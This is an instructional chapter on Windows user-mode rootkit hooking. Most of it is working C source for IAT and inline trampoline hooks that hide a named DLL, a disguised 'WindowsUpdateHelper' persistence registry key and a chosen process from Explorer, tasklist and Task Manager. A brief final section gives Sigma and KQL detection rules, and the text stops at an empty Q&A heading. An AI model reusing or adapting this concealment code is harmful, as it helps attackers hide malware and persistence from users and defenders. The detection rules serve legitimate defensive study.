Rootkit Techniques: User-Mode Hooking

User-mode rootkits intercept API calls to hide artifacts — files, processes, registry keys, network connections — from applications that query the system. By hooking the functions that enumerate these objects, the rootkit filters the results before they reach the caller. This chapter implements IAT hooking, inline trampoline hooking, and VEH-based hooking, then builds file and process hiding on top of them — with the detection approach for each.

Hook Taxonomy

IAT Hooking

// IAT hook: replace the stored function pointer in the target module's
// Import Address Table. When the module calls the function via IAT,
// our hook runs instead.

#include <windows.h>
#include <winternl.h>

typedef HANDLE(WINAPI* pFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
static pFindFirstFileW g_origFindFirst = NULL;
static const WCHAR* HIDE_FILE = L"wuaueng2.dll";

PVOID* FindIatEntry(HMODULE hModule, const char* dllName,
                     const char* funcName) {
    PBYTE base = (PBYTE)hModule;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base +
        ((PIMAGE_DOS_HEADER)base)->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(base +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    for (; imp->Name; imp++) {
        if (_stricmp((char*)(base + imp->Name), dllName) != 0) continue;

        PIMAGE_THUNK_DATA iat = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk);
        PIMAGE_THUNK_DATA oft = (PIMAGE_THUNK_DATA)(base + imp->OriginalFirstThunk);

        for (SIZE_T i = 0; oft[i].u1.AddressOfData; i++) {
            PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)(base +
                oft[i].u1.AddressOfData);
            if (strcmp((char*)ibn->Name, funcName) == 0)
                return (PVOID*)&iat[i].u1.Function;
        }
    }
    return NULL;
}

BOOL InstallIatHook(HMODULE target, const char* dll,
                     const char* func, PVOID hookFn) {
    PVOID* entry = FindIatEntry(target, dll, func);
    if (!entry) return FALSE;

    g_origFindFirst = (pFindFirstFileW)*entry;

    DWORD old;
    VirtualProtect(entry, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &old);
    *entry = hookFn;
    VirtualProtect(entry, sizeof(PVOID), old, &old);
    return TRUE;
}

// Hook function — filters our hidden file from FindFirstFileW results
HANDLE WINAPI HookFindFirstFileW(LPCWSTR lpFileName,
                                   LPWIN32_FIND_DATAW lpFindFileData) {
    HANDLE h = g_origFindFirst(lpFileName, lpFindFileData);
    if (h != INVALID_HANDLE_VALUE) {
        if (_wcsicmp(lpFindFileData->cFileName, HIDE_FILE) == 0) {
            // Our file — advance to next entry transparently
            if (!FindNextFileW(h, lpFindFileData)) {
                FindClose(h);
                return INVALID_HANDLE_VALUE;
            }
        }
    }
    return h;
}

Inline (Trampoline) Hooking

// Inline hook: patch the first 14 bytes of the target function with
// an indirect JMP via RIP-relative pointer (x64: FF 25 + offset).
// Stores original bytes in a trampoline so the hook can call through.

#define HOOK_SIZE 14  // FF 25 00 00 00 00 + 8-byte absolute address

typedef struct {
    PVOID  target;
    BYTE   original[HOOK_SIZE];
    PVOID  trampoline;
} HookEntry;

BOOL InlineHook(PVOID target, PVOID hookFn, HookEntry* entry) {
    entry->target = target;
    memcpy(entry->original, target, HOOK_SIZE);

    // Build trampoline: [original 14 bytes] + [JMP back to target+14]
    entry->trampoline = VirtualAlloc(NULL, HOOK_SIZE + HOOK_SIZE,
                                      MEM_COMMIT|MEM_RESERVE,
                                      PAGE_EXECUTE_READWRITE);
    memcpy(entry->trampoline, entry->original, HOOK_SIZE);

    // JMP to target+14 after trampoline
    PBYTE tptr = (PBYTE)entry->trampoline + HOOK_SIZE;
    tptr[0] = 0xFF; tptr[1] = 0x25;
    *(DWORD*)(tptr+2) = 0;  // RIP-relative offset = 0 (points to next 8 bytes)
    *(UINT64*)(tptr+6) = (UINT64)target + HOOK_SIZE;

    // Write hook: FF 25 00000000 + address of hookFn
    DWORD old;
    VirtualProtect(target, HOOK_SIZE, PAGE_EXECUTE_READWRITE, &old);
    PBYTE p = (PBYTE)target;
    p[0] = 0xFF; p[1] = 0x25;
    *(DWORD*)(p+2) = 0;
    *(UINT64*)(p+6) = (UINT64)hookFn;
    VirtualProtect(target, HOOK_SIZE, old, &old);
    return TRUE;
}

VOID RemoveInlineHook(HookEntry* entry) {
    DWORD old;
    VirtualProtect(entry->target, HOOK_SIZE, PAGE_EXECUTE_READWRITE, &old);
    memcpy(entry->target, entry->original, HOOK_SIZE);
    VirtualProtect(entry->target, HOOK_SIZE, old, &old);
}

Hiding Files and Registry Keys

// Hook FindNextFileW as well — FindFirstFileW returns the first match,
// FindNextFileW advances. Must filter from BOTH to hide a file completely.

typedef BOOL(WINAPI* pFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
static pFindNextFileW g_origFindNext = NULL;

BOOL WINAPI HookFindNextFileW(HANDLE hFindFile,
                                LPWIN32_FIND_DATAW lpFindFileData) {
    while (g_origFindNext(hFindFile, lpFindFileData)) {
        if (_wcsicmp(lpFindFileData->cFileName, HIDE_FILE) != 0)
            return TRUE;  // not our hidden file — return it
        // it IS our hidden file — skip and try next
    }
    return FALSE;  // enumeration exhausted
}

// Registry hiding: hook RegEnumKeyExW and RegEnumValueW
// Filter out our persistence key from any enumeration.
typedef LONG(WINAPI* pRegEnumKeyExW)(HKEY, DWORD, LPWSTR, LPDWORD,
    LPDWORD, LPWSTR, LPDWORD, PFILETIME);
static pRegEnumKeyExW g_origRegEnum = NULL;
static const WCHAR* HIDE_REGKEY = L"WindowsUpdateHelper";

LONG WINAPI HookRegEnumKeyExW(HKEY hKey, DWORD dwIndex, LPWSTR lpName,
    LPDWORD lpcchName, LPDWORD lpReserved, LPWSTR lpClass,
    LPDWORD lpcchClass, PFILETIME lpftLastWriteTime) {
    while (TRUE) {
        LONG r = g_origRegEnum(hKey, dwIndex, lpName, lpcchName,
                               lpReserved, lpClass, lpcchClass,
                               lpftLastWriteTime);
        if (r != ERROR_SUCCESS) return r;
        if (_wcsicmp(lpName, HIDE_REGKEY) == 0) {
            dwIndex++;  // skip our key, try next index
            continue;
        }
        return r;
    }
}

Hiding Processes via NtQuerySystemInformation Hook

// Process enumeration (tasklist, Task Manager, Process Explorer) calls
// NtQuerySystemInformation(SystemProcessInformation = 5) which returns a
// linked list of SYSTEM_PROCESS_INFORMATION structures.
// Hook this function and unlink our process from the list.

typedef NTSTATUS(NTAPI* pNtQSI)(ULONG, PVOID, ULONG, PULONG);
static pNtQSI g_origNtQSI = NULL;
static DWORD g_hidePid = 0;  // PID to hide

typedef struct _SPI {
    ULONG          NextEntryOffset;
    ULONG          NumberOfThreads;
    BYTE           Reserved1[48];
    UNICODE_STRING ImageName;
    LONG           BasePriority;
    HANDLE         UniqueProcessId;
    // ... more fields
} SPI;

NTSTATUS NTAPI HookNtQSI(ULONG cls, PVOID buf, ULONG len, PULONG ret) {
    NTSTATUS st = g_origNtQSI(cls, buf, len, ret);
    if (!NT_SUCCESS(st) || cls != 5) return st;

    SPI* prev = NULL;
    SPI* cur  = (SPI*)buf;
    while (TRUE) {
        if ((DWORD)(ULONG_PTR)cur->UniqueProcessId == g_hidePid) {
            if (prev) {
                if (cur->NextEntryOffset == 0)
                    prev->NextEntryOffset = 0;  // last entry
                else
                    prev->NextEntryOffset += cur->NextEntryOffset;
            }
        } else {
            prev = cur;
        }
        if (cur->NextEntryOffset == 0) break;
        cur = (SPI*)(((PBYTE)cur) + cur->NextEntryOffset);
    }
    return st;
}

Detection Engineering

title: IAT Modification Detected — Function Pointer Outside Module
logsource:
  product: windows
  category: image_load
detection:
  selection:
    EventID: 7  # Sysmon image load
    Signed: 'false'
    ImageLoaded|startswith:
      - 'C:\Users\'
      - 'C:\Windows\Temp\'
  condition: selection
level: high

title: Process Count Discrepancy (userland vs kernel enumerate)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'tasklist'
      - 'Get-Process'
  condition: selection
level: informational
note: Cross-reference against direct driver enumeration to detect hidden processes

-- MDE KQL: DLL loaded from temp path into long-running processes
DeviceImageLoadEvents
| where FolderPath has_any (@"\Temp\", @"\AppData\Local\Temp\")
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ (
    "explorer.exe", "svchost.exe", "lsass.exe",
    "winlogon.exe", "RuntimeBroker.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, SHA256

Q&A